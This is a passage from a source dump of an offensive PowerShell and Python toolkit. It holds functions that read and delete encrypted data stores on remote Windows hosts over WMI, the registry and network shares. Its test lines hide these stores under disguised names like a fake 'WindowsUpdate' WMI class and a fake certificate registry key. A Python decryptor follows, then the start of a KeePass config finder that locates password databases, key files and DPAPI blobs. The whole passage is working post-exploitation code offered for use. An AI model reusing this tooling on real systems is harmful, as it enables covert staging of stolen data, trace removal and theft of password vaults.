'\' 1575 | $ValueName = $RegistryParts[-1] 1576 | 1577 | if($Computer -ne 'localhost') { 1578 | # remote registry storage - logic heavily adopted from @mattifestation's Invoke-WmiCommand.ps1 logic 1579 | 1580 | $WmiMethodArgs['ComputerName'] = $Computer 1581 | 1582 | $RegistryKeyParts = $KeyName.Split('\') 1583 | $RegistryKeyPath = $RegistryKeyParts[1..($RegistryKeyParts.Length)] -join '\' 1584 | 1585 | switch ($RegistryKeyParts[0]) { 1586 | 'HKLM:' { $Hive = 2147483650 } 1587 | 'HKCU:' { $Hive = 2147483649 } 1588 | 'HKCR:' { $Hive = 2147483648 } 1589 | 'HKU:' { $Hive = 2147483651 } 1590 | 'HKCC:' { $Hive = 2147483653 } 1591 | } 1592 | 1593 | $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetBinaryValue' -ArgumentList @($Hive, $RegistryKeyPath, $ValueName) 1594 | 1595 | if ($Result.ReturnValue -ne 0) { 1596 | Write-Warning "[$Computer] Unable retrieve encrypted store data from the following registry value: $Store" 1597 | $EncStoreLength = 0 1598 | } 1599 | else { 1600 | $EncStoreData = $Result.uValue 1601 | $EncStoreLength = $EncStoreData.Length 1602 | } 1603 | } 1604 | else { 1605 | # localhost registry storage 1606 | try { 1607 | $EncStoreData = (Get-ItemProperty -Path $KeyName -Name $ValueName -ErrorAction Stop).$ValueName 1608 | $EncStoreLength = $EncStoreData.Length 1609 | } 1610 | catch { 1611 | Write-Warning "[$Computer] Exception reading registry location '$Store' : $_" 1612 | } 1613 | } 1614 | } 1615 | elseif($Store -match '^[A-Z0-9]*\\.*:[A-Z0-9]+$') { 1616 | # WMI storage 1617 | 1618 | try { 1619 | if($Computer -ne 'localhost') { 1620 | $StoreParts = $Store.Split(':') 1621 | $Namespace = $StoreParts[0] 1622 | $Class = $StoreParts[1] 1623 | 1624 | $WmiMethodArgs['ComputerName'] = $Computer 1625 | 1626 | $WmiClass = Get-WmiObject @WmiMethodArgs -Namespace $Namespace -List -ErrorAction Stop | Where-Object {$_.Name -eq $Class} 1627 | } 1628 | else { 1629 | $WmiClass = [WmiClass] $Store 1630 | } 1631 | 1632 | if($WmiClass) { 1633 | $EncStoreData = $WmiClass.GetPropertyValue('Content') 1634 | $EncStoreLength = $EncStoreData.Length 1635 | } 1636 | else { 1637 | Write-Verbose "[$Computer] Error reading from WMI location '$Store' : no WMI class returned" 1638 | } 1639 | } 1640 | catch { 1641 | Write-Warning "[$Computer] Exception reading WMI location '$Store' : $_" 1642 | } 1643 | } 1644 | else { 1645 | throw "[$Computer] Invalid StorePath format: $Store" 1646 | } 1647 | 1648 | if($EncStoreData -and $EncStoreLength) { 1649 | $Properties = @{ 1650 | 'ComputerName' = $Computer 1651 | 'StorePath' = $Store 1652 | 'EncStoreData' = $EncStoreData 1653 | 'EncStoreLength' = $EncStoreLength 1654 | } 1655 | 1656 | $EncryptedStoreObject = New-Object -TypeName PSObject -Property $Properties 1657 | $EncryptedStoreObject.PSObject.TypeNames.Insert(0, 'EncryptedStore') 1658 | $EncryptedStoreObject 1659 | } 1660 | } 1661 | } 1662 | } 1663 | } 1664 | 1665 | 1666 | function Remove-EncryptedStore { 1667 | <# 1668 | .SYNOPSIS 1669 | 1670 | Removes the specified encrypted store data. For files on disk, the file is 1671 | deleted, for registry entries the key is removed, and for custom WMI classes 1672 | the custom class (but not the namespace) is removed. 1673 | 1674 | Author: @harmj0y 1675 | License: BSD 3-Clause 1676 | Required Dependencies: None 1677 | Optional Dependencies: None 1678 | 1679 | .PARAMETER StorePath 1680 | 1681 | The path of the encrypted store to read file data from. Can be on the filesystem ("${Env:Temp}\debug.bin"), 1682 | registry (HKLM:\SOFTWARE\something\something\key\valuename), or WMI (ROOT\Software\namespace:ClassName). 1683 | 1684 | .PARAMETER ComputerName 1685 | 1686 | Access the -StorePath on the specified computers. The default is the local computer. 1687 | 1688 | Type the NetBIOS name, an IP address, or a fully qualified domain 1689 | name of one or more computers. To specify the local computer, type 1690 | the computer name, a dot (.), or "localhost". 1691 | 1692 | This parameter does not rely on Windows PowerShell remoting. You can 1693 | use the ComputerName parameter even if your computer is not 1694 | configured to run remote commands. 1695 | 1696 | .PARAMETER Credential 1697 | 1698 | Specifies a user account that has permission to perform this action. 1699 | 1700 | The default is the current user. Type a user name, such as "User01", 1701 | "Domain01\User01", or User@Contoso.com. Or, enter a PSCredential 1702 | object, such as an object that is returned by the Get-Credential 1703 | cmdlet. When you type a user name, you will be prompted for a 1704 | password. 1705 | 1706 | .PARAMETER Impersonation 1707 | 1708 | Specifies the impersonation level to use. Valid values are: 1709 | 1710 | 0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".) 1711 | 1: Anonymous (Hides the credentials of the caller.) 1712 | 2: Identify (Allows objects to query the credentials of the caller.) 1713 | 3: Impersonate (Allows objects to use the credentials of the caller.) 1714 | 4: Delegate (Allows objects to permit other objects to use the credentials of the caller.) 1715 | 1716 | .PARAMETER Authentication 1717 | 1718 | Specifies the authentication level to be used with the WMI connection. Valid values are: 1719 | 1720 | -1: Unchanged 1721 | 0: Default 1722 | 1: None (No authentication in performed.) 1723 | 2: Connect (Authentication is performed only when the client establishes a relationship with the application.) 1724 | 3: Call (Authentication is performed only at the beginning of each call when the application receives the request.) 1725 | 4: Packet (Authentication is performed on all the data that is received from the client.) 1726 | 5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.) 1727 | 6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.) 1728 | 1729 | .PARAMETER EnableAllPrivileges 1730 | 1731 | Enables all the privileges of the current user before the command 1732 | makes the WMI call. 1733 | 1734 | .PARAMETER Authority 1735 | 1736 | Specifies the authority to use to authenticate the WMI connection. 1737 | You can specify standard NTLM or Kerberos authentication. To use 1738 | NTLM, set the authority setting to ntlmdomain:, where 1739 | identifies a valid NTLM domain name. To use Kerberos, 1740 | specify kerberos:. You cannot include the 1741 | authority setting when you connect to the local computer. 1742 | 1743 | .EXAMPLE 1744 | 1745 | PS C:\> Remove-EncryptedStore -StorePath 'HKLM:\SOFTWARE\Microsoft\SystemCertificates\DomainCert' 1746 | 1747 | Remove the encrypted store in the specified specified registry key on the local machine. 1748 | 1749 | .EXAMPLE 1750 | 1751 | PS C:\> $StorePath = 'ROOT\Software:WindowsUpdate' 1752 | PS C:\> Get-EncryptedStoreData -StorePath $StorePath | Remove-EncryptedStore 1753 | 1754 | Remove the encrypted store in the specified specified WMI class on the local machine. 1755 | 1756 | .EXAMPLE 1757 | 1758 | PS C:\> $ComputerName = 'PRIMARY.testlab.local' 1759 | PS C:\> $Credential = Get-Credential 'TESTLAB\administrator' 1760 | PS C:\> $StorePath = 'HKLM:\SOFTWARE\Microsoft\SystemCertificates\DomainCert' 1761 | PS C:\> Get-EncryptedStoreData -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath | Remove-EncryptedStore -ComputerName $ComputerName -Credential $Credential 1762 | 1763 | Retrive the raw encrypted store data in the registry key specified on the remote 1764 | 'PRIMARY.testlab.local' machine using the specified credentials, and then remove 1765 | the store. 1766 | #> 1767 | 1768 | [CmdletBinding()] 1769 | param( 1770 | [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] 1771 | [Alias('Path')] 1772 | [ValidatePattern('.*\\.*')] 1773 | [String[]] 1774 | $StorePath, 1775 | 1776 | [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 1777 | [Alias('Cn')] 1778 | [String[]] 1779 | [ValidateNotNullOrEmpty()] 1780 | $ComputerName = 'localhost', 1781 | 1782 | [Management.Automation.PSCredential] 1783 | [Management.Automation.CredentialAttribute()] 1784 | $Credential = [Management.Automation.PSCredential]::Empty, 1785 | 1786 | [Management.ImpersonationLevel] 1787 | $Impersonation, 1788 | 1789 | [System.Management.AuthenticationLevel] 1790 | $Authentication, 1791 | 1792 | [Switch] 1793 | $EnableAllPrivileges, 1794 | 1795 | [String] 1796 | $Authority 1797 | ) 1798 | 1799 | BEGIN { 1800 | # If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod 1801 | $WmiMethodArgs = @{} 1802 | if ($PSBoundParameters['Credential']) { $WmiMethodArgs['Credential'] = $Credential } 1803 | if ($PSBoundParameters['Impersonation']) { $WmiMethodArgs['Impersonation'] = $Impersonation } 1804 | if ($PSBoundParameters['Authentication']) { $WmiMethodArgs['Authentication'] = $Authentication } 1805 | if ($PSBoundParameters['EnableAllPrivileges']) { $WmiMethodArgs['EnableAllPrivileges'] = $EnableAllPrivileges } 1806 | if ($PSBoundParameters['Authority']) { $WmiMethodArgs['Authority'] = $Authority } 1807 | } 1808 | 1809 | PROCESS { 1810 | ForEach($Computer in $ComputerName) { 1811 | 1812 | ForEach($Store in $StorePath) { 1813 | 1814 | Write-Verbose "[$Computer] Removing encrypted store at: '$Store'" 1815 | 1816 | if(($Store -match '^[A-Z]:\\') -or ($Store -match '^\\\\[A-Z0-9]+\\[A-Z0-9]+')) { 1817 | # file on a disk, local or remote, or \\UNC path 1818 | 1819 | if($Computer -ne 'localhost') { 1820 | # remote -ComputerName specification 1821 | $Net = New-Object -ComObject WScript.Network 1822 | 1823 | $PathParts = $Store.Replace(':', '$').Split('\') 1824 | $UNCPath = "\\$ComputerName\$($PathParts[0..($PathParts.Length-2)] -join '\')" 1825 | $FileName = $PathParts[-1] 1826 | 1827 | if($PSBoundParameters['Credential']) { 1828 | try { 1829 | # map a temporary network drive with the credentials supplied 1830 | # this is because New-PSDrive in PowerShell v2 doesn't support alternate credentials :( 1831 | Write-Verbose "[$Computer] Mapping drive Z: to '$UNCPath'" 1832 | $Net.MapNetworkDrive("Z:", $UNCPath, $False, $Credential.UserName, $Credential.GetNetworkCredential().Password) 1833 | $EncStorePath = "Z:\$FileName" 1834 | } 1835 | catch { 1836 | throw "[$Computer] Error mapping path '$Store' : $_" 1837 | } 1838 | } 1839 | else { 1840 | $EncStorePath = "$UNCPath\$FileName" 1841 | } 1842 | } 1843 | else { 1844 | # plain old localhost 1845 | $EncStorePath = Resolve-Path -Path $Store 1846 | } 1847 | 1848 | try { 1849 | $Null = Remove-Item -Path $EncStorePath -Force 1850 | } 1851 | catch { 1852 | Write-Warning "[$Computer] Error removing file '$EncStorePath' : $_" 1853 | } 1854 | 1855 | if($Computer -ne 'localhost' -and ($PSBoundParameters['Credential'])) { 1856 | try { 1857 | Write-Verbose "[$Computer] Unmapping drive Z:\" 1858 | $Net = New-Object -ComObject WScript.Network 1859 | $Null = $Net.RemoveNetworkDrive('Z:', $True) 1860 | } 1861 | catch { 1862 | Write-Verbose "[$Computer] Error unmapping drive Z:\ : $_" 1863 | } 1864 | } 1865 | } 1866 | elseif($Store -match '^(HKCR|HKCU|HKLM|HKU|HKCC):\\') { 1867 | # registry storage 1868 | 1869 | $RegistryParts = $Store.Split('\') 1870 | $KeyName = ($RegistryParts[0..($RegistryParts.Length - 2)]) -join '\' 1871 | $ValueName = $RegistryParts[-1] 1872 | 1873 | if($Computer -ne 'localhost') { 1874 | # remote registry storage - logic heavily adopted from @mattifestation's Invoke-WmiCommand.ps1 logic 1875 | 1876 | $WmiMethodArgs['ComputerName'] = $Computer 1877 | 1878 | $RegistryKeyParts = $KeyName.Split('\') 1879 | $RegistryKeyPath = $RegistryKeyParts[1..($RegistryKeyParts.Length)] -join '\' 1880 | 1881 | switch ($RegistryKeyParts[0]) { 1882 | 'HKLM:' { $Hive = 2147483650 } 1883 | 'HKCU:' { $Hive = 2147483649 } 1884 | 'HKCR:' { $Hive = 2147483648 } 1885 | 'HKU:' { $Hive = 2147483651 } 1886 | 'HKCC:' { $Hive = 2147483653 } 1887 | } 1888 | 1889 | $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteValue' -ArgumentList @($Hive, $RegistryKeyPath, $ValueName) -ErrorAction Stop 1890 | 1891 | if ($Result.ReturnValue -ne 0) { 1892 | Write-Warning "[$Computer] Unable delete store data from the following registry value: $Store" 1893 | } 1894 | } 1895 | else { 1896 | # localhost registry storage 1897 | try { 1898 | $Null = Remove-ItemProperty -Path $KeyName -Name $ValueName -Force -ErrorAction Stop 1899 | } 1900 | catch { 1901 | Write-Warning "[$Computer] Exception removing registry value '$Store' : $_" 1902 | } 1903 | } 1904 | } 1905 | elseif($Store -match '^[A-Z0-9]*\\.*:[A-Z0-9]+$') { 1906 | # WMI storage 1907 | 1908 | try { 1909 | if($Computer -ne 'localhost') { 1910 | $StoreParts = $Store.Split(':') 1911 | $Namespace = $StoreParts[0] 1912 | $Class = $StoreParts[1] 1913 | 1914 | $WmiMethodArgs['ComputerName'] = $Computer 1915 | 1916 | $Null = Remove-WmiObject @WmiMethodArgs -Class $Class -Namespace $Namespace 1917 | } 1918 | else { 1919 | $Null = [WmiClass] $Store | Remove-WmiObject 1920 | } 1921 | } 1922 | catch { 1923 | Write-Warning "[$Computer] Exception removing WMI class '$Store' : $_" 1924 | } 1925 | } 1926 | else { 1927 | throw "[$Computer] Invalid StorePath format: $Store" 1928 | } 1929 | } 1930 | } 1931 | } 1932 | } 1933 | 1934 | 1935 | function New-RSAKeyPair { 1936 | <# 1937 | .SYNOPSIS 1938 | 1939 | Helper that returns XML-exported strings representing the public/private components of 1940 | a randomly generated RSA key pair. 1941 | 1942 | Author: @harmj0y 1943 | License: BSD 3-Clause 1944 | Required Dependencies: None 1945 | Optional Dependencies: None 1946 | 1947 | .DESCRIPTION 1948 | 1949 | Wraps the System.Security.Cryptography.RSACryptoServiceProvider to generate a RSA public/private 1950 | key pair and returns a custom object with the XML exports of each for use in Write/Out-EncryptedStore 1951 | and Read-EncryptedStore. 1952 | 1953 | .EXAMPLE 1954 | 1955 | PS C:\> $RSA = New-RSAKeyPair 1956 | PS C:\> $RSA | Format-List 1957 | 1958 | Generates a random RSA public/private key pair and displays the XML exports of the keys. 1959 | #> 1960 | 1961 | $CSP = New-Object System.Security.Cryptography.CspParameters; 1962 | $CSP.Flags = $CSP.Flags -bor [System.Security.Cryptography.CspProviderFlags]::UseMachineKeyStore; 1963 | $RSA = New-Object System.Security.Cryptography.RSACryptoServiceProvider -ArgumentList @(1024,$CSP) 1964 | 1965 | $Pub = $RSA.ToXmlString($False) 1966 | $Priv = $RSA.ToXmlString($True) 1967 | 1968 | $Properties = @{ 1969 | 'Priv' = $Priv 1970 | 'Pub' = $Pub 1971 | } 1972 | 1973 | New-Object -TypeName PSObject -Property $Properties 1974 | } 1975 | 1976 | 1977 | # # tests 1978 | 1979 | # $RSA = New-RSAKeyPair 1980 | 1981 | # # local tests 1982 | # $ComputerName = 'localhost' 1983 | # $StorePath = 'C:\Temp\temp.bin' 1984 | # Write-Host "`n[$ComputerName] AES Storepath : $StorePath" 1985 | # ".\secret.txt" | Write-EncryptedStore -StorePath $StorePath -Key 'Password123!' 1986 | # Read-EncryptedStore -StorePath $StorePath -Key 'Password123!' -List 1987 | # Get-EncryptedStoreData -StorePath $StorePath | Remove-EncryptedStore 1988 | # Start-Sleep -Seconds 1 1989 | 1990 | # Write-Host "`n[$ComputerName] RSA Storepath : $StorePath" 1991 | # ".\secret.txt" | Write-EncryptedStore -StorePath $StorePath -Key $RSA.Pub 1992 | # Read-EncryptedStore -StorePath $StorePath -Key $RSA.Priv -List 1993 | # Get-EncryptedStoreData -StorePath $StorePath | Remove-EncryptedStore 1994 | # Start-Sleep -Seconds 1 1995 | 1996 | # $StorePath = 'HKLM:\SOFTWARE\Microsoft\SystemCertificates\DomainCertificate' 1997 | # Write-Host "`n[$ComputerName] AES Storepath : $StorePath" 1998 | # ".\secret.txt" | Write-EncryptedStore -StorePath $StorePath -Key 'Password123!' 1999 | # Read-EncryptedStore -StorePath $StorePath -Key 'Password123!' -List 2000 | # Get-EncryptedStoreData -StorePath $StorePath | Remove-EncryptedStore 2001 | # Start-Sleep -Seconds 1 2002 | 2003 | # Write-Host "`n[$ComputerName] RSA Storepath : $StorePath" 2004 | # ".\secret.txt" | Write-EncryptedStore -StorePath $StorePath -Key $RSA.Pub 2005 | # Read-EncryptedStore -StorePath $StorePath -Key $RSA.Priv -List 2006 | # Get-EncryptedStoreData -StorePath $StorePath | Remove-EncryptedStore 2007 | # Start-Sleep -Seconds 1 2008 | 2009 | 2010 | # $StorePath = 'ROOT\Software:WindowsUpdate' 2011 | # Write-Host "`n[$ComputerName] AES Storepath : $StorePath" 2012 | # ".\secret.txt" | Write-EncryptedStore -StorePath $StorePath -Key 'Password123!' 2013 | # Read-EncryptedStore -StorePath $StorePath -Key 'Password123!' -List 2014 | # Get-EncryptedStoreData -StorePath $StorePath | Remove-EncryptedStore 2015 | # Start-Sleep -Seconds 1 2016 | 2017 | # $StorePath = 'ROOT\Software:WindowsUpdate' 2018 | # Write-Host "`n[$ComputerName] RSA Storepath : $StorePath" 2019 | # ".\secret.txt" | Write-EncryptedStore -StorePath $StorePath -Key $RSA.Pub 2020 | # Read-EncryptedStore -StorePath $StorePath -Key $RSA.Priv -List 2021 | # Get-EncryptedStoreData -StorePath $StorePath | Remove-EncryptedStore 2022 | # Start-Sleep -Seconds 1 2023 | 2024 | 2025 | # # remote tests 2026 | # $ComputerName = 'PRIMARY.testlab.local' 2027 | # $Credential = Get-Credential 'TESTLAB\administrator' 2028 | # $StorePath = 'C:\Temp\temp2.bin' 2029 | # Write-Host "`n[$ComputerName] AES Storepath : $StorePath" 2030 | # ".\secret.txt" | Write-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key 'Password123!' 2031 | # Read-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key 'Password123!' -List 2032 | # Get-EncryptedStoreData -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath | Remove-EncryptedStore -ComputerName $ComputerName -Credential $Credential 2033 | # Start-Sleep -Seconds 1 2034 | 2035 | # Write-Host "`n[$ComputerName] RSA Storepath : $StorePath" 2036 | # ".\secret.txt" | Write-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key $RSA.Pub 2037 | # Read-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key $RSA.Priv -List 2038 | # Get-EncryptedStoreData -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath | Remove-EncryptedStore -ComputerName $ComputerName -Credential $Credential 2039 | # Start-Sleep -Seconds 1 2040 | 2041 | 2042 | # $StorePath = 'HKLM:\SOFTWARE\Microsoft\SystemCertificates\DomainCert' 2043 | # Write-Host "`n[$ComputerName] AES Storepath : $StorePath" 2044 | # ".\secret.txt" | Write-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key 'Password123!' 2045 | # ".\u2.txt" | Write-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key 'Password123!' 2046 | # Read-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key 'Password123!' -List 2047 | # Get-EncryptedStoreData -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath | Remove-EncryptedStore -ComputerName $ComputerName -Credential $Credential 2048 | # Start-Sleep -Seconds 1 2049 | 2050 | # Write-Host "`n[$ComputerName] RSA Storepath : $StorePath" 2051 | # ".\secret.txt" | Write-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key $RSA.Pub 2052 | # ".\u2.txt" | Write-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key $RSA.Pub 2053 | # Read-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key $RSA.Priv -List 2054 | # Get-EncryptedStoreData -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath | Remove-EncryptedStore -ComputerName $ComputerName -Credential $Credential 2055 | # Start-Sleep -Seconds 1 2056 | 2057 | 2058 | # $StorePath = 'ROOT\Software:WindowsUpdate2' 2059 | # Write-Host "`n[$ComputerName] AES Storepath : $StorePath" 2060 | # ".\secret.txt" | Write-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key 'Password123!' 2061 | # Read-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key 'Password123!' -List 2062 | # Get-EncryptedStoreData -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath | Remove-EncryptedStore -ComputerName $ComputerName -Credential $Credential 2063 | # Start-Sleep -Seconds 1 2064 | 2065 | # Write-Host "`n[$ComputerName] RSA Storepath : $StorePath" 2066 | # ".\secret.txt" | Write-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key $RSA.Pub 2067 | # Read-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key $RSA.Priv -List 2068 | # Get-EncryptedStoreData -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath | Remove-EncryptedStore -ComputerName $ComputerName -Credential $Credential 2069 | # Start-Sleep -Seconds 1 2070 | -------------------------------------------------------------------------------- /EncryptedStore.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import hashlib 4 | import struct 5 | import argparse 6 | import zlib 7 | import os 8 | import re 9 | from binascii import hexlify 10 | from Crypto.Cipher import AES 11 | 12 | 13 | def decrypt_store(storePath, key, listFiles=False): 14 | """ 15 | Decrypts/decompresses an encrypted store or lists its contents. 16 | 17 | Args: 18 | storePath: the path to the encrypted store 19 | key: the key for the encrypted store 20 | listFiles: list files in the store instead of extracting 21 | 22 | Returns: 23 | Prints file listings if 'listFiles' is specified, otherwise 24 | extracts files to the local folder, preserving the original 25 | file paths. 26 | 27 | Notes: 28 | 29 | Store structure: 30 | 31 | [4 bytes representing size of next block to decrypt] 32 | [0] (indicating straight AES) 33 | [16 byte IV] 34 | [AES-CBC encrypted file block] 35 | [compressed stream] 36 | [260 characters/bytes indicating original path] 37 | [file contents] 38 | ... 39 | 40 | [4 bytes representing size of next block to decrypt] 41 | [1] (indicating straight RSA+AES) 42 | [128 bytes random AES key encrypted with the the RSA public key] 43 | [16 byte IV] 44 | [AES-CBC encrypted file block] 45 | [compressed stream] 46 | [260 characters/bytes indicating original path] 47 | [file contents] 48 | ... 49 | 50 | 51 | To decrypt ENCSTORE.bin: 52 | 53 | While there is more data to decrypt: 54 | 55 | -Read first 4 Bytes of ENCSTORE.bin and calculate length value X 56 | -Read next size X Bytes of encrypted file 57 | -Read first byte of encrypted block to determine encryption scheme 58 | - 0 == straight AES 59 | - 1 == RSA + AES where random AES key encrypted with RSA pub key 60 | -If RSA+AES is used, read the next 128 bytes of the RSA encrypted AES key and decrypt using the RSA private key 61 | -Read next 16 Bytes of encrypted block and extract IV 62 | -Read remaining block and decrypt AES-CBC compressed stream using key and extracted IV 63 | -Decompress [PATH + file] using IO.Compression.DeflateStream 64 | -Split path by \ and create nested folder structure to mirror original path 65 | -Write original file to mirrored path 66 | """ 67 | 68 | pattern = re.compile('^.*.*

.*

.*.*.*.*.*
$') 69 | if pattern.match(key): 70 | print '[!] RSA decryption not currently supported, use EncryptedStore.ps1\n' 71 | return 72 | 73 | if len(key) != 32: 74 | key = hashlib.md5(key).hexdigest() 75 | 76 | f = open(storePath) 77 | data = f.read() 78 | f.close() 79 | 80 | dataLen = len(data) 81 | 82 | if dataLen > 20: 83 | 84 | print "" 85 | if(listFiles): 86 | print "Files:\n" 87 | 88 | offset = 0 89 | while offset < dataLen: 90 | blockSize = struct.unpack(" Find-KeePassconfig 25 | 26 | DefaultDatabasePath : C:\Users\testuser\Desktop\Database2.kdb 27 | SecureDesktop : 28 | LastUsedFile : C:\Users\testuser\Desktop\Database3.kdb 29 | DefaultKeyFilePath : C:\Users\testuser\Desktop\k.bin 30 | DefaultUserAccountData : 31 | RecentlyUsed : {C:\Users\testuser\Desktop\Database3.kdb, C:\Users\testuser\Desktop\k2.bin} 32 | KeePassConfigPath : C:\Users\testuser\Desktop\blah\KeePass-1.31\KeePass.ini 33 | 34 | DefaultDatabasePath : C:\Users\testuser\Desktop\NewDatabase.kdbx 35 | SecureDesktop : False 36 | LastUsedFile : C:\Users\testuser\Desktop\NewDatabase.kdbx 37 | DefaultKeyFilePath : C:\Users\testuser\Desktop\blah\KeePass-2.34\KeePass.chm 38 | DefaultUserAccountData : @{UserDomain=TESTLAB; UserKeePassDPAPIBlob=C:\Users\testuser\AppData\Roaming\KeePass\Protected 39 | UserKey.bin; UserSid=S-1-5-21-456218688-4216621462-1491369290-1210; UserName=testuser; UserMas 40 | terKeyFiles=System.Object[]} 41 | RecentlyUsed : {C:\Users\testuser\Desktop\NewDatabase.kdbx} 42 | KeePassConfigPath : C:\Users\testuser\Desktop\blah\KeePass-2.34\KeePass.config.xml 43 | #> 44 | 45 | [CmdletBinding()] 46 | param( 47 | [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 48 | [ValidateScript({Test-Path -Path $_ })] 49 | [Alias('FullName')] 50 | [String[]] 51 | $Path 52 | ) 53 | 54 | BEGIN { 55 | 56 | function local:Get-IniContent { 57 | <# 58 | .SYNOPSIS 59 | 60 | This helper parses an .ini file into a proper PowerShell object. 61 | 62 | Author: 'The Scripting Guys' 63 | Link: https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ 64 | 65 | .LINK 66 | 67 | https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ 68 | #> 69 | [CmdletBinding()] 70 | Param( 71 | [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] 72 | [Alias('FullName')] 73 | [ValidateScript({ Test-Path -Path $_ })] 74 | [String[]] 75 | $Path 76 | ) 77 | 78 | PROCESS { 79 | ForEach($TargetPath in $Path) { 80 | $IniObject = @{} 81 | Switch -Regex -File $TargetPath { 82 | "^\[(.+)\]" # Section 83 | { 84 | $Section = $matches[1].Trim() 85 | $IniObject[$Section] = @{} 86 | $CommentCount = 0 87 | } 88 | "^(;.*)$" # Comment 89 | { 90 | $Value = $matches[1].Trim() 91 | $CommentCount = $CommentCount + 1 92 | $Name = 'Comment' + $CommentCount 93 | $IniObject[$Section][$Name] = $Value 94 | } 95 | "(.+?)\s*=(.*)" # Key 96 | { 97 | $Name, $Value = $matches[1..2] 98 | $Name = $Name.Trim() 99 | $Values = $Value.split(',') | ForEach-Object {$_.Trim()} 100 | if($Values -isnot [System.Array]) {$Values = @($Values)} 101 | $IniObject[$Section][$Name] = $Values 102 | } 103 | } 104 | $IniObject 105 | } 106 | } 107 | } 108 | 109 | function Local:Get-KeePassINIFields { 110 | # helper that parses a 1.X KeePass.ini into a custom object 111 | [CmdletBinding()] 112 | Param ( 113 | [Parameter(Mandatory=$True)] 114 | [ValidateScript({ Test-Path -Path $_ })] 115 | [String] 116 | $Path 117 | ) 118 | 119 | $KeePassINIPath = Resolve-Path -Path $Path 120 | $KeePassINIPathParent = $KeePassINIPath | Split-Path -Parent 121 | $KeePassINI = Get-IniContent -Path $KeePassINIPath 122 | $RecentlyUsed = @() 123 | 124 | try { 125 | if($KeePassINI.KeePass.KeeLastDb) { 126 | $LastUsedFile = Resolve-Path -Path "$KeePassINIPathParent\$($KeePassINI.KeePass.KeeLastDb)" -ErrorAction Stop 127 | } 128 | } 129 | catch {} 130 | 131 | try { 132 | if($KeePassINI.KeePass.KeeKeySourceID0) { 133 | $DefaultDatabasePath = Resolve-Path -Path $KeePassINI.KeePass.KeeKeySourceID0 -ErrorAction SilentlyContinue 134 | } 135 | } 136 | catch {} 137 | 138 | try { 139 | if($KeePassINI.KeePass.KeeKeySourceValue0) { 140 | $DefaultKeyFilePath = Resolve-Path -Path $KeePassINI.KeePass.KeeKeySourceValue0 -ErrorAction SilentlyContinue 141 | } 142 | } 143 | catch {} 144 | 145 | # grab any additional cached databases/key information 146 | $KeePassINI.KeePass.Keys | Where-Object {$_ -match 'KeeKeySourceID[1-9]+'} | Foreach-Object { 147 | try { 148 | $ID = $_[-1] 149 | $RecentlyUsed += $KeePassINI.Keepass["KeeKeySourceID${ID}"] 150 | $RecentlyUsed += $KeePassINI.Keepass["KeeKeySourceValue${ID}"] 151 | } 152 | catch{} 153 | } 154 | 155 | $KeePassINIProperties = @{ 156 | 'KeePassConfigPath' = $KeePassINIPath 157 | 'SecureDesktop' = $Null 158 | 'LastUsedFile' = $LastUsedFile 159 | 'RecentlyUsed' = $RecentlyUsed 160 | 'DefaultDatabasePath' = $DefaultDatabasePath 161 | 'DefaultKeyFilePath' = $DefaultKeyFilePath 162 | 'DefaultUserAccountData' = $Null 163 | } 164 | $KeePassINIInfo = New-Object -TypeName PSObject -Property $KeePassINIProperties 165 | $KeePassINIInfo.PSObject.TypeNames.Insert(0, 'KeePass.Config') 166 | $KeePassINIInfo 167 | } 168 | 169 | function Local:Get-KeePassXMLFields { 170 | # helper that parses a 2.X KeePass.config.xml into a custom object 171 | [CmdletBinding()] 172 | Param ( 173 | [Parameter(Mandatory=$True)] 174 | [ValidateScript({ Test-Path -Path $_ })] 175 | [String] 176 | $Path 177 | ) 178 | 179 | $KeePassXMLPath = Resolve-Path -Path $Path 180 | $KeePassXMLPathParent = $KeePassXMLPath | Split-Path -Parent 181 | [Xml]$KeePassXML = Get-Content -Path $KeePassXMLPath 182 | 183 | $LastUsedFile = '' 184 | $RecentlyUsed = @() 185 | $DefaultDatabasePath = '' 186 | $DefaultKeyFilePath = '' 187 | $DefaultUserAccountData = $Null 188 | 189 | if($KeePassXML.Configuration.Application.LastUsedFile) { 190 | $LastUsedFile = Resolve-Path -Path 